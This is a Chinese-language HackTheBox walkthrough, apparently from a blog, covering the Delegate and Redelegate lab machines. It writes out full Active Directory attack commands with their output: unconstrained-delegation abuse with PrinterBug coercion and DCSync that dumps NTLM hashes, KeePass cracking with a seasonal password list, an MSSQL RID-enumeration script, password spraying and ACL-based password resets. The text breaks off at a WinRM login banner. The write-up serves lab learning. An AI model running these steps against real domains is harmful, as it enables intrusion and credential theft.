[+] SPN Modified successfully

利用bloodyad配置无约束委派

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ bloodyAD -d $domain -u $user2 -p $pass2 --host $FQDN add uac 'FS01$' -f TRUSTED_FOR_DELEGATION
[-] ['TRUSTED_FOR_DELEGATION'] property flags added to FS01$'s userAccountControl

启动中继监听

┌──(wackymaker㉿kali)-[~/tools/ad-tools/krbrelayx/krbrelayx-master]
└─$ python3 krbrelayx.py -hashes :58826d80a57b1527e373616eec499b06
/home/wackymaker/tools/ad-tools/krbrelayx/krbrelayx-master/lib/servers/smbrelayserver.py:429: SyntaxWarning: invalid escape sequence '\%'
  LOG.error("Authenticating against %s://%s as %s\%s FAILED" % (
/home/wackymaker/tools/ad-tools/krbrelayx/krbrelayx-master/lib/servers/smbrelayserver.py:441: SyntaxWarning: invalid escape sequence '\%'
  LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
/home/wackymaker/tools/ad-tools/krbrelayx/krbrelayx-master/lib/servers/smbrelayserver.py:516: SyntaxWarning: invalid escape sequence '\%'
  LOG.info("Authenticating against %s://%s as %s\%s SUCCEED" % (
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80

[*] Setting up DNS Server
[*] Servers started, waiting for connections

在另外一边触发一个可用强制认证

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Delegate]
└─$ nxc smb $ip -u "FS01$" -p 'wackwack1$' -M coerce_plus -o LISTENER=FS01.$domain METHOD=PrinterBug
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.6.221    445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domin:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.6.221    445    DC1              [+] delegate.vl\FS01$:wackwack1$ 
COERCE_PLUS 10.129.6.221    445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.6.221    445    DC1              Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx

成功触发后，监听器出现回显

*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.129.3.28
[*] Got ticket for DC1$@DELEGATE.VL [krbtgt@DELEGATE.VL]
[*] Saving ticket in DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
[*] SMBD: Received connection from 10.129.3.28
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 10.129.3.28
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'

成功截获tgt

直接利用票据打dcsync获取管理hash即可

KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache netexec smb dc1.delegate.vl --use-kcache --ntds
SMB         dc1.delegate.vl 445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True) (Guest Auth:True)
SMB         dc1.delegate.vl 445    DC1              [+] DELEGATE.VL\DC1$ from ccache 
SMB         dc1.delegate.vl 445    DC1              [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         dc1.delegate.vl 445    DC1              [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         dc1.delegate.vl 445    DC1              Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ceab4cc695e65045562aa3ee93:::
SMB         dc1.delegate.vl 445    DC1              Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         dc1.delegate.vl 445    DC1              krbtgt:502:aad3b435b51404eeaad3b435b51404ee:54999c1daa89d35fbd2e36d01c4a2cf2:::
SMB         dc1.delegate.vl 445    DC1              A.Briggs:1104:aad3b435b51404eeaad3b435b51404ee:8e5a0462f96bc85faf20378e243bc4a3:::
SMB         dc1.delegate.vl 445    DC1              b.Brown:1105:aad3b435b51404eeaad3b435b51404ee:deba71222554122c3634496a0af085a6:::
SMB         dc1.delegate.vl 445    DC1              R.Cooper:1106:aad3b435b51404eeaad3b435b51404ee:17d5f7ab7fc61d80d1b9d156f815add1:::
SMB         dc1.delegate.vl 445    DC1              J.Roberts:1107:aad3b435b51404eeaad3b435b51404ee:4ff255c7ff10d86b5b34b47adc62114f:::
SMB         dc1.delegate.vl 445    DC1              N.Thompson:1108:aad3b435b51404eeaad3b435b51404ee:4b514595c7ad3e2f7bb70e7e61ec1afe:::
SMB         dc1.delegate.vl 445    DC1              DC1$:1000:aad3b435b51404eeaad3b435b51404ee:f7caf5a3e44bac110b9551edd1ddfa3c:::
SMB         dc1.delegate.vl 445    DC1              [+] Dumped 11 NTDS hashes to /home/oxdf/.nxc/logs/ntds/dc1.delegate.vl_None_2025-09-12_133554.ntds of which 8 were added to the database
SMB         dc1.delegate.vl 445    DC1              [*] To extract only enabled accounts from the output file, run the following command: 
SMB         dc1.delegate.vl 445    DC1              [*] cat /home/oxdf/.nxc/logs/ntds/dc1.delegate.vl_None_2025-09-12_133554.ntds | grep

之后hash登陆即可

Redelegate-wp

Sun, 21 Sep 2025 16:18:24 +0800

前期收集

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ ls
hostname  krb5.conf  rust.txt  start.sh

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat rust.txt 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
TreadStone was here 🚀

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.234.50:21
Open 10.129.234.50:53
Open 10.129.234.50:80
Open 10.129.234.50:88
Open 10.129.234.50:135
Open 10.129.234.50:139
Open 10.129.234.50:389
Open 10.129.234.50:445
Open 10.129.234.50:464
Open 10.129.234.50:593
Open 10.129.234.50:636
Open 10.129.234.50:1433
Open 10.129.234.50:3268
Open 10.129.234.50:3269
Open 10.129.234.50:3389
Open 10.129.234.50:5985
Open 10.129.234.50:9389
Open 10.129.234.50:47001
Open 10.129.234.50:49664
Open 10.129.234.50:49665
Open 10.129.234.50:49667
Open 10.129.234.50:49666
Open 10.129.234.50:49668
Open 10.129.234.50:49932
Open 10.129.234.50:57719
Open 10.129.234.50:58976
Open 10.129.234.50:58975
Open 10.129.234.50:58979
Open 10.129.234.50:58983
Open 10.129.234.50:58995
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 01:09 EDT
Initiating Ping Scan at 01:09
Scanning 10.129.234.50 [4 ports]
Completed Ping Scan at 01:09, 0.09s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:09
Completed Parallel DNS resolution of 1 host. at 01:09, 2.02s elapsed
DNS resolution of 1 IPs took 2.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 01:09
Scanning 10.129.234.50 [30 ports]
Discovered open port 135/tcp on 10.129.234.50
Discovered open port 445/tcp on 10.129.234.50
Discovered open port 53/tcp on 10.129.234.50
Discovered open port 80/tcp on 10.129.234.50
Discovered open port 3389/tcp on 10.129.234.50
Discovered open port 139/tcp on 10.129.234.50
Discovered open port 21/tcp on 10.129.234.50
Discovered open port 389/tcp on 10.129.234.50
Discovered open port 49664/tcp on 10.129.234.50
Discovered open port 9389/tcp on 10.129.234.50
Discovered open port 49667/tcp on 10.129.234.50
Discovered open port 57719/tcp on 10.129.234.50
Discovered open port 58995/tcp on 10.129.234.50
Discovered open port 47001/tcp on 10.129.234.50
Discovered open port 88/tcp on 10.129.234.50
Discovered open port 58979/tcp on 10.129.234.50
Discovered open port 49932/tcp on 10.129.234.50
Discovered open port 49666/tcp on 10.129.234.50
Discovered open port 464/tcp on 10.129.234.50
Discovered open port 593/tcp on 10.129.234.50
Discovered open port 3268/tcp on 10.129.234.50
Discovered open port 58975/tcp on 10.129.234.50
Discovered open port 1433/tcp on 10.129.234.50
Discovered open port 636/tcp on 10.129.234.50
Discovered open port 58976/tcp on 10.129.234.50
Discovered open port 49668/tcp on 10.129.234.50
Discovered open port 5985/tcp on 10.129.234.50
Discovered open port 58983/tcp on 10.129.234.50
Discovered open port 3269/tcp on 10.129.234.50
Discovered open port 49665/tcp on 10.129.234.50
Completed SYN Stealth Scan at 01:09, 0.27s elapsed (30 total ports)
Nmap scan report for 10.129.234.50
Host is up, received echo-reply ttl 127 (0.12s latency).
Scanned at 2025-09-21 01:09:36 EDT for 0s

PORT      STATE SERVICE          REASON
21/tcp    open  ftp              syn-ack ttl 127
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
1433/tcp  open  ms-sql-s         syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49665/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49668/tcp open  unknown          syn-ack ttl 127
49932/tcp open  unknown          syn-ack ttl 127
57719/tcp open  unknown          syn-ack ttl 127
58975/tcp open  unknown          syn-ack ttl 127
58976/tcp open  unknown          syn-ack ttl 127
58979/tcp open  unknown          syn-ack ttl 127
58983/tcp open  unknown          syn-ack ttl 127
58995/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.49 seconds
           Raw packets sent: 34 (1.472KB) | Rcvd: 31 (1.348KB)


┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat hostname 
10.129.234.50     DC.redelegate.vl redelegate.vl DC

对于一台域控来说不常见端口有ftp和http,http页面是默认的iis页面，我准备最后再来研究它（需要的话）

匿名smb,ldap，rpc都权限不足

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb "$ip" -u guest -p '' --shares
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [-] redelegate.vl\guest: SessionError 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ rpcclient -U "" -N $ip
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> nxc ldap $ip -u "" -p "" --users
command not found: nxc
rpcclient $> exit

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc ldap $ip -u "" -p "" --users
LDAP        10.129.234.50   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.50   389    DC               [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090DA9, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
LDAP        10.129.234.50   389    DC               [+] redelegate.vl\: 
LDAP        10.129.234.50   389    DC               [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090DA9, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c

匿名ftp获取到信息，一个kpass数据库和两个txt,注意且binray模式防止文件损毁

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ ftp $ip
Connected to 10.129.234.50.
220 Microsoft FTP Service
Name (10.129.234.50:wackymaker): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||59635|)
125 Data connection already open; Transfer starting.
10-20-24  01:11AM                  434 CyberAudit.txt
10-20-24  05:14AM                 2622 Shared.kdbx
10-20-24  01:26AM                  580 TrainingAgenda.txt
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> get CyberAudit.txt
local: CyberAudit.txt remote: CyberAudit.txt
229 Entering Extended Passive Mode (|||59637|)
125 Data connection already open; Transfer starting.
100% |***************************************************|   434        4.57 KiB/s    00:00 ETA
226 Transfer complete.
434 bytes received in 00:00 (4.38 KiB/s)
ftp> get Shared.kdbx
local: Shared.kdbx remote: Shared.kdbx
229 Entering Extended Passive Mode (|||59638|)
125 Data connection already open; Transfer starting.
100% |***************************************************|  2622       32.19 KiB/s    00:00 ETA
226 Transfer complete.
2622 bytes received in 00:00 (30.81 KiB/s)
ftp> get TrainingAgenda.txt
local: TrainingAgenda.txt remote: TrainingAgenda.txt
229 Entering Extended Passive Mode (|||59639|)
125 Data connection already open; Transfer starting.
100% |***************************************************|   580        7.13 KiB/s    00:00 ETA
226 Transfer complete.
580 bytes received in 00:00 (6.75 KiB/s)
ftp> exit
221 Goodbye.

还有两篇txt翻译如下

OCTOBER 2024 审计结果（翻译）

OCTOBER 2024 审计发现

[!] 网络安全审计发现：

用户密码弱

分配给用户的权限过大

未使用的 Active Directory 对象

危险的 Active Directory ACL（访问控制列表）

[*] 修复步骤：

提示用户更改密码：已完成

检查所有用户的权限并移除高权限：已完成

删除域中未使用的对象：进行中

重新检查 ACL：进行中

员工网络安全意识培训议程（2024 年 10 月）（翻译）

员工网络安全意识培训议程（2024 年 10 月）

2024 年 10 月 4 日 星期五 | 14:30 - 16:30 - 53 名参会者
“别上当”——如何更好地识别钓鱼邮件以及看到可疑邮件时该怎么做

2024 年 10 月 11 日 星期五 | 15:30 - 17:30 - 61 名参会者
“社交媒体及其风险”——你在线发布的内容会怎样被利用？

2024 年 10 月 18 日 星期五 | 11:30 - 13:30 - 7 名参会者
“弱口令”——为什么 SeasonYear! 之类的密码不好

2024 年 10 月 25 日 星期五 | 09:30 - 12:30 - 29 名参会者
“接下来怎么办？”——网络攻击的后果以及如何缓解

鉴于靶机发布时间实际为2024年，我们可以构造弱口令字典

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat dic.txt 
Season2024!
Spring2024!
spring2024!
SPRING2024!
Summer2024!
summer2024!
SUMMER2024!
Autumn2024!
autumn2024!
AUTUMN2024!
Fall2024!
fall2024!
FALL2024!
Winter2024!
winter2024!
WINTER2024!
Spr2024!
spr2024!
SPR2024!
Sum2024!
sum2024!
SUM2024!
Aut2024!
aut2024!
AUT2024!
Fal2024!
fal2024!
FAL2024!
Win2024!
win2024!
WIN2024!

欧克，开始解密kpass数据库,注意利用hashcat爆破需要将john转换hash的文件前面的文件名删除，所以你会看到我有一个vim的操作

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ keepass2john Shared.kdbx > keepass.hash

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat keepass.hash 
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ vim keepass.hash 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ hashcat -m 13400 -a 0 -w 1 keepass.hash dic.txt --force
hashcat (v6.2.6) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) Ultra 9 185H, 6939/13942 MB (2048 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 2 MB

Dictionary cache built:
* Filename..: dic.txt
* Passwords.: 31
* Bytes.....: 351
* Keyspace..: 31
* Runtime...: 0 secs

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.           

$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca:Fall2024!
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13400 (KeePass 1 (AES/Twofish) and KeePass 2 (AES))
Hash.Target......: $keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8...4502ca
Time.Started.....: Sun Sep 21 01:27:53 2025, (3 secs)
Time.Estimated...: Sun Sep 21 01:27:56 2025, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (dic.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       11 H/s (0.13ms) @ Accel:128 Loops:64 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 31/31 (100.00%)
Rejected.........: 0/31 (0.00%)
Restore.Point....: 0/31 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:599936-600000
Candidate.Engine.: Device Generator
Candidates.#1....: Season2024! -> WIN2024!
Hardware.Mon.#1..: Util: 33%

Started: Sun Sep 21 01:27:30 2025
Stopped: Sun Sep 21 01:27:57 2025

获得密码后直接打开数据库，查看到信息

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ keepassxc-cli export -f csv Shared.kdbx > output.csv
Enter password to unlock Shared.kdbx: 
KdbxXmlReader::readDatabase: found 1 invalid group reference(s)

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ dir
CyberAudit.txt	hostname      krb5.conf   rust.txt     start.sh
dic.txt		keepass.hash  output.csv  Shared.kdbx  TrainingAgenda.txt

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat output.csv 
"Group","Title","Username","Password","URL","Notes","TOTP","Icon","Last Modified","Created"
"Shared/IT","FTP","FTPUser","SguPZBKdRyxWzvXRWy6U","","Deprecated","","0","2024-10-20T07:56:58Z","2024-10-20T07:56:20Z"
"Shared/IT","FS01 Admin","Administrator","Spdv41gg4BlBgSYIW1gF","","","","0","2024-10-20T07:57:21Z","2024-10-20T07:57:02Z"
"Shared/IT","WEB01","WordPress Panel","cn4KOEgsHqvKXPjEnSD9","","","","0","2024-10-20T08:00:25Z","2024-10-20T07:57:24Z"
"Shared/IT","SQL Guest Access","SQLGuest","zDPBpaF4FywlqIv11vii","","","","0","2024-10-20T08:27:09Z","2024-10-20T08:26:48Z"
"Shared/HelpDesk","KeyFob Combination","","22331144","","","","0","2024-10-20T12:12:32Z","2024-10-20T12:12:09Z"
"Shared/Finance","Timesheet Manager","Timesheet","hMFS4I0Kj8Rcd62vqi5X","","","","0","2024-10-20T12:14:18Z","2024-10-20T12:13:30Z"
"Shared/Finance","Payrol App","Payroll","cVkqz4bCM7kJRSNlgx2G","","","","0","2024-10-20T12:14:11Z","2024-10-20T12:13:50Z"

组合字典，爆破一下

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat pass 
SguPZBKdRyxWzvXRWy6U
Spdv41gg4BlBgSYIW1gF
cn4KOEgsHqvKXPjEnSD9
zDPBpaF4FywlqIv11vii
22331144
hMFS4I0Kj8Rcd62vqi5X
cVkqz4bCM7kJRSNlgx2G

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat users 
FTPUser
Administrator
WordPress_Panel
SQLGuest
Timesheet
Payroll

但是组合爆破起来smb的凭证都没有获得，看到其中有一个sql相关用户，又开了1433口，所以尝试一下数据库登陆

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc mssql $ip -u users -p pass --local-auth
MSSQL       10.129.234.50   1433   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl)
MSSQL       10.129.234.50   1433   DC               [-] DC\FTPUser:SguPZBKdRyxWzvXRWy6U (Login failed for user 'FTPUser'. Please try again with or without '--local-auth')
MSSQL       10.129.234.50   1433   DC               [-] DC\Administrator:SguPZBKdRyxWzvXRWy6U (Login failed for user 'Administrator'. Please try again with or without '--local-auth')
。。。。。。e try again with or without '--local-auth')
MSSQL       10.129.234.50   1433   DC               [-] DC\WordPress_Panel:zDPBpaF4FywlqIv11vii (Login failed for user 'WordPress_Panel'. Please try again with or without '--local-auth')
MSSQL       10.129.234.50   1433   DC               [+] DC\SQLGuest:zDPBpaF4FywlqIv11vii

成功获得数据库凭证,但是连接后权限极低，没有xpcmdxp_dirtree等权限，也不可能存在连接数据库，数据库当中也没有有意思的提权

数据库rid爆破

这篇文章引导我到了sql数据库来rid爆破枚举

可以照文章搞定

SQL (SQLGuest  guest@master)> select default_domain()
             
----------   
REDELEGATE   

SQL (SQLGuest  guest@master)> select sys.fn_varbintohexstr(SUSER_SID('REDELEGATE\Administrator'))
                                                             
----------------------------------------------------------   
0x010500000000000515000000a185deefb22433798d8e847af4010000   

SQL (SQLGuest  guest@master)>

找个脚本吧,就用0xdf写的，他的东西一向好用

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ ./1.sh 
1002: REDELEGATE\DC$   
1000: REDELEGATE\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG   
1103: REDELEGATE\FS01$   
1104: REDELEGATE\Christine.Flanders   
1105: REDELEGATE\Marie.Curie   
1106: REDELEGATE\Helen.Frost   
1108: REDELEGATE\Mallory.Roberts   
1107: REDELEGATE\Michael.Pontiac   
1109: REDELEGATE\James.Dinkleberg   
1113: REDELEGATE\IT   
1112: REDELEGATE\Helpdesk   
1119: REDELEGATE\sql_svc   
1117: REDELEGATE\Ryan.Cooper   
1114: REDELEGATE\Finance   
1115: REDELEGATE\DnsAdmins   
1116: REDELEGATE\DnsUpdateProxy   

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ cat 1.sh 
#!/bin/bash

check_rid() {
    SID_BASE="010500000000000515000000a185deefb22433798d8e847a"
    local RID=$1
    local HEX_RID=$(python -c "import struct; print(struct.pack('<I', ${RID}).hex())")
    local SID="${SID_BASE}${HEX_RID}"
    local RES=$(impacket-mssqlclient SQLGuest:zDPBpaF4FywlqIv11vii@10.129.234.50 -file <( echo "select SUSER_SNAME(0x${SID});") 2>&1 | sed -n '/^----/{n;p;}')

    if [[ "$(echo "$RES" | xargs)" != "NULL" ]]; then echo "${RID}: ${RES}"; fi
}

export -f check_rid 
seq 1000 1500 | xargs -P 48 -I{} bash -c 'check_rid $@' _ {}

我会将这个功能兼并到血缇之书当中

测试凭证复用后获得域用户

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u users2 -p dic.txt --continue-on-success
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [-] redelegate.vl\DC$:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\FS01$:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Christine.Flanders:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [+] redelegate.vl\Marie.Curie:Fall2024! 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Helen.Frost:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Mallory.Roberts:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Michael.Pontiac:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\James.Dinkleberg:Fall2024! SessionError
SMB         10.129.234.50   445    DC               [-] redelegate.vl\IT:Fall2024! SessionError 
SMB         10.129.234.50   445    DC               [-] redelegate.vl\Helpdesk:Fall2024! SessionError

没有winrm权限只能抓猎犬了

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ echo user1=Marie.Curie>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ echo pass1='Fall2024!'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u $user1 -p $pass1
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\Marie.Curie:Fall2024! 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc winrm $ip -u $user1 -p $pass1
WINRM       10.129.234.50   5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl)
WINRM       10.129.234.50   5985   DC               [-] redelegate.vl\Marie.Curie:Fall2024!

猎犬能清晰的看到我们当前获得的用户允许修改6个用户的密码

我一个一个顺着acl看下去发现只有HELEN.FROST是值得控制的

它的组可以对fs0l有完全控制权

并且这个用户同时存在在远程管理组当中，虽然给我们一台机器的完全掌控是什么意思我还不确定，我们先登陆再说

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u $user1 -p $pass1 -M change-password -o USER=HELEN.FROST NEWPASS=wackyMAKER1!
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\Marie.Curie:Fall2024! 
CHANGE-P... 10.129.234.50   445    DC               [+] Successfully changed password for HELEN.FROST

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u $user1 -p $pass1 -M change-password -o USER=HELEN.FROST NEWPASS=wackyMAKER1^C

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ echo user2=HELEN.FROST>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ echo pass2='wackyMAKER1!'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc winrm $ip -u $user2 -p $pass2
WINRM       10.129.234.50   5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl)
WINRM       10.129.234.50   5985   DC               [+] redelegate.vl\HELEN.FROST:wackyMAKER1! (Pwn3d!)

登陆后获得user.txt

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ evil-winrm-py -i $ip -u $user1 -p $pass2
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
